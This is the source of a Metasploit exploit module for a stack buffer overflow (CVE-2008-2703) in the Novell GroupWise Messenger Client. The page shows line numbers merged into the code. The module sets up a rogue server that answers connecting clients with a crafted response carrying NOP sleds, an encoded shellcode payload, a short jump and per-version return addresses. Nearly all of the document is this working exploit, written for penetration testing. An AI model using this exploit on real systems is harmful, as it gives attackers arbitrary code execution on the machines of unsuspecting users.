Path: blob/master/modules/exploits/windows/novell/groupwisemessenger_client.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Novell GroupWise Messenger Client Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Novell's GroupWise Messenger Client.17By sending a specially crafted HTTP response, an attacker may be able to execute18arbitrary code.19},20'Author' => 'MC',21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2008-2703' ],24[ 'OSVDB', '46041' ],25[ 'BID', '29602' ],26[ 'URL', 'http://www.infobyte.com.ar/adv/ISR-17.html' ],27],28'DefaultOptions' => {29'EXITFUNC' => 'process',30'AllowWin32SEH' => true31},32'Payload' => {33'Space' => 750,34'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",35'DisableNops' => true,36'StackAdjustment' => -3500,37'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",38'EncoderType' => Msf::Encoder::Type::AlphanumUpper,39},40'Platform' => 'win',41'Targets' => [42[ 'Novell GroupWise Messenger 2.0 Client', { 'Ret' => 0x502de115 } ],43[ 'Novell GroupWise Messenger 1.0 Client', { 'Ret' => 0x1000e105 } ],44],45'Privileged' => false,46'DisclosureDate' => '2008-07-02',47'DefaultTarget' => 0,48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options(57[58OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 8300 ])59]60)61end6263def on_client_connect(client)64return if ((p = regenerate_payload(client)) == nil)6566client.get_once6768date = Time.gm(2008, nil, nil, nil, nil, nil)69rand_1 = rand_text_english(5)70rand_2 = rand_text_english(4)71rand_3 = rand_text_english(rand(8) + 1)72rand_4 = rand_text_alpha_upper(8)73rand_5 = rand_text_english(3)7475res = "HTTP/1.0 200\r\n"76res << "Date: #{date}\r\n"77res << "Pragma: no-cache\r\n"78res << "Cache-Control: no-cache\r\n\r\n"79res << "\n\0\20\0\0\0nnmFileTransfer\0\2\0\0\x000\0\n\0\t\0\0\0"80res << "nnmQuery\0\2\0\0\x001\0\n\0\13\0\0\0nnmArchive"81res << "\0\2\0\0\x001\0\n\0\24\0\0\0nnmPasswordRemember"82res << "\0\2\0\0\x001\0\n\0\17\0\0\0nnmMaxContacts"83res << "\0\4\0\0\x00150\0\n\0\16\0\0\0nnmMaxFolders"84res << "\0\3\0\0\x0050\0\n\0\r\0\0\0nnmBroadcast"85res << "\0\2\0\0\x001\0\n\0\23\0\0\0nnmPersonalHistory"86res << "\0\2\0\0\x001\0\n\0\r\0\0\0nnmPrintSave"87res << "\0\2\0\0\x001\0\n\0\17\0\0\0nnmChatService"88res << "\0\2\0\0\x001\0\n\0\3\0\0\0CN\0\a\0\0\0ISR000"89res << "\0\n\0\b\0\0\0Surname\0\6\0\0\0#{rand_1}\0\n\0\n\0\0\0"90res << "Full Name\0\20\0\0\0Client Name \0\n\0\13\0\0\0Given Name"91res << "\0\n\0\0\0Client \0\n\0\r\0\0\0nnmLastLogin\0\13\0\0\x001200112090\0\t\0\30\0\0\0"92res << "NM_A_FA_CLIENT_SETTINGS\0\1\0\0\0\n\0\21\0\0\0Novell.AskToSave"93res << "\0\2\0\0\x001\0\t\0\e\0\0\0NM_A_FA_INFO_DISPLAY_ARRAY"94res << "\0\1\0\0\0\n\0\27\0\0\0Internet EMail Address\0\26\0\0\0#{rand_1}\@#{rand_4}.#{rand_5}.xx"95res << "\0\b\0\16\0\0\0NM_A_UD_BUILD\0\a\0\0\0\n\0\13\0\0\0NM_A_SZ_DN\x001\0\0\0"96res << "CN=ISR000,OU=IT,OU=ISR_,OU=BA,OU=AR,O=#{rand_4}XX"97res << "\0\t\0\24\0\0\0NM_A_FA_AU_SETTINGS\0\1\0\0\0\n\0\22\0\0\0"98res << "nnmClientDownload\0\2\0\0\x000\0\b\0\22\0\0\0NM_A_UD_KEEPALIVE"99res << "\0\n\0\0\0\n\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0\n\0\27\0\0\0"100res << "NM_A_SZ_TRANSACTION_ID\0\2\0\0\x001\0\0"101102res << "HTTP/1.0 200\r\n"103res << "Date: #{date}\r\n"104res << "Pragma: no-cache\r\n"105res << "Cache-Control: no-cache\r\n\r\n"106res << "\n\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0\n\0\27\0\0\0"107res << "NM_A_SZ_TRANSACTION_ID\0\2\0\0\x00#{rand_2}\0\0"108res << make_nops(805 - payload.encoded.length) + payload.encoded109res << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')110res << [0xe9, -800].pack('CV') + rand_text_english(5000 - payload.encoded.length)111112print_status("Sending #{self.name} to #{client.peerhost}:#{client.peerport}...")113client.put(res)114handler(client)115116select(nil, nil, nil, 2)117service.close_client(client)118end119end120121122